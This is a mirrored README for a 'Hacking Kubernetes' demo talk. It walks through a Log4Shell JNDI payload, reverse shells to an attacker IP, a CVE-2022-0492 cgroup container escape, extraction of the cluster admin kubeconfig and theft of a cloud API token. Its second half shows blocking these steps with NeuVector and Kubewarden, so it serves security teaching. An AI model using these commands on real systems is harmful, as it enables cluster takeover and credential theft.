Code Monkey home page Code Monkey logo

hacking-kubernetes's Introduction

Hacking Kubernetes - Demo

Preparations

Vulnerable Kubernetes Cluster

Create a single-node Kubernetes custom cluster in Rancher.

VM resources: 4 CPU, 8GB RAM, 80GB disk

OS:

sudo apt remove unattended-upgrades
  • Install packages
sudo apt install apt-transport-https ca-certificates curl socat jq
  • Install docker-ce 18.06.3ce3-0~ubuntu
sudo su
curl -fsSl "https://download.docker.com/linux/ubuntu/gpg" | apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu bionic stable"
apt install docker-ce=18.06.3~ce~3-0~ubuntu
  • Remove apparmor
sudo systemctl disable apparmor
sudo systemctl stop apparmor
sudo apt purge apparmor
sudo reboot

Cluster configuration:

  • RKE1 v1.23.16
  • Canal CNI
  • No hardening
  • No Project Network Isolation
  • No PodSecurityPolicies

Install:

  • cert-manager
  • NeuVector (reduce controller replicas to 1)
  • Kubewarden

In NeuVector:

  • Activate autoscan
  • Go to settings and deactivate "zero drift" for new services

Create a Secret with a DigitalOceanApi key

apiVersion: v1
kind: Secret
metadata:
  name: digitalocean
  namespace: kube-system
stringData:
  access-token: "..."

Deploy the sample application

kubectl apply -f vulnerable-application/deploy/

Attacker VM

Create a VM that is reachable from the vulnerable cluster. All incoming ports should be open. This expects openSUSE as an OS.

Copy exploiting app to the VM

Download jdk-8u20-linux-x64 from https://www.oracle.com/de/java/technologies/javase/javase8-archive-downloads.html

scp ~/Downloads/jdk-8u20-linux-x64.tar.gz ec2-user@<IP>:~/
scp -r exploiting-app/* ec2-user@<IP>:~/

On the VM, install the requirements

zypper in -y python3 socat

pip3 install -r requirements.txt

tar -xvf jdk-8u20-linux-x64.tar.gz

Run exploiting app

sudo python3 poc.py --userip <IP> --webport 80 --lport 443

Run necessary netcat and socat processes for remote shells

sudo nc -lvnp 443
socat file:`tty`,raw,echo=0 tcp-listen:4444

Run attack

Run attack

curl http://sample-app.default.10.65.0.209.sslip.io/login -d "uname=test&password=invalid" -H 'User-Agent: ${jndi:ldap://<IP>:1389/a}'

Install kubectl

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"; chmod +x kubectl; mv kubectl /usr/bin/

Test if we can access the Kubernetes API

kubectl get pods

Check capabilities

capsh --print

Try to get more capabilities (CVE-2022-0492)

unshare -UrmC bash
capsh --print

Try to break out of the container and create remote shell on host (see also https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation#privileged)

# Mounts the RDMA cgroup controller and create a child cgroup
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release

# Finds path of OverlayFS mount for container
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

# Sets release_agent to /{overlay_fs_host_path}/cmd
echo "$host_path/cmd" > /tmp/cgrp/release_agent

# create command to execute
echo '#!/bin/bash' > /cmd
echo "socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<IP>:4444" >> /cmd
chmod a+x /cmd

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
# By creating a /bin/sh process and writing its PID to the cgroup.procs file in "x" child cgroup directory
# The script on the host will execute after /bin/sh exits 
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

List docker containers

docker ps
whoami

Install kubectl

docker cp kubelet:/usr/local/bin/kubectl /usr/bin/

Get kubeconfig

kubectl --kubeconfig $(docker inspect kubelet --format '{{ range .Mounts }}{{ if eq .Destination "/etc/kubernetes" }}{{ .Source }}{{ end }}{{ end }}')/ssl/kubecfg-kube-node.yaml get configmap -n kube-system full-cluster-state -o json | jq -r .data.\"full-cluster-state\" | jq -r .currentState.certificatesBundle.\"kube-admin\".config | sed -e "/^[[:space:]]*server:/ s_:.*_: \"https://127.0.0.1:6443\"_" > kubeconfig_admin.yaml

export KUBECONFIG=$(pwd)/kubeconfig_admin.yaml

Get DigitalOcean API token

Get API token from secret

do_token=$(kubectl get secret -n kube-system digitalocean -o jsonpath="{.data.access-token}" | base64 --decode)

Install doctl

cd ~
wget https://github.com/digitalocean/doctl/releases/download/v1.94.0/doctl-1.94.0-linux-amd64.tar.gz
tar xf ~/doctl-1.94.0-linux-amd64.tar.gz
mv ~/doctl /usr/bin

Login

doctl auth init -t $do_token

Create VM

doctl compute droplet create bhofmann-demo-attacker --region fra1 --size s-1vcpu-1gb --ssh-keys	"6c:c1:a4:05:f8:7f:31:ff:42:96:70:4a:92:9f:b8:af" --image ubuntu-20-04-x64 --wait

Cleanup

doctl compute droplet delete bhofmann-demo-attacker -f

Fix attack

Problems:

  • Sample-app has a log4shell vulnerability which allows a remote shell into the container
  • Even though the container is not privileged, we can get SYS_ADMIN capabilities due to a kernel bug, escape the container and get admin access to the cluster

NeuVector scanning tells us this:

  • on node CVE-2022-0492
  • on container, compliance: running as root, CVE-2021-45046

NeuVector learned a lot of processes, like unshare, mount etc NeuVector learned a lot of network communication, like communication to external system, including our remote shell

Show security events with suspicious processes on host.

First deny /usr/bin/socat on host and put host into protect mode.

Execute, escape command in container again

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

See that socat is blocked.

Next put sample-app in protect mode and delete all learned process rules but the ones necessary for the app to work (ex, pause, dirname, java). Try to do something in remote container shell and see that it's blocked.

unshare -UrmC bash

Next remove network rules from sample-app to external.

See that the remote shell does not work anymore and the connection was denied in the security events.

Execute

curl http://sample-app.default.10.65.0.209.sslip.io/login -d "uname=test&password=invalid" -H 'User-Agent: ${jndi:ldap://<IP>:1389/a}'

and see the security event.

Add a log4shell WAF rule to block the log4shell attack.

Execute

curl http://sample-app.default.10.65.0.209.sslip.io/login -d "uname=test&password=invalid" -H 'User-Agent: ${jndi:ldap://<IP>:1389/a}'

and see the security event.

The container should also not run as root.

Go to Kubewarden and install the "User Group PSP" policy in the default namespace with User rule "MustRunAsNonRoot". Choose "RunAsAny" for the others. Highlight other policies (e.g. no privileged pods).

Once the policy is deployed.

Delete the pod and show the error.

Credits

The vulnerable application is adapted from https://github.com/kozmer/log4j-shell-poc The talk was inspired by https://github.com/nmeisenzahl/hijack-kubernetes. This talk has a very a different focus. It shows exploiting a vulnerability that works without misconfiguration, only because of outdated versions and focuses in more detail on remediation.

hacking-kubernetes's People

Contributors

bashofmann avatar

Stargazers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.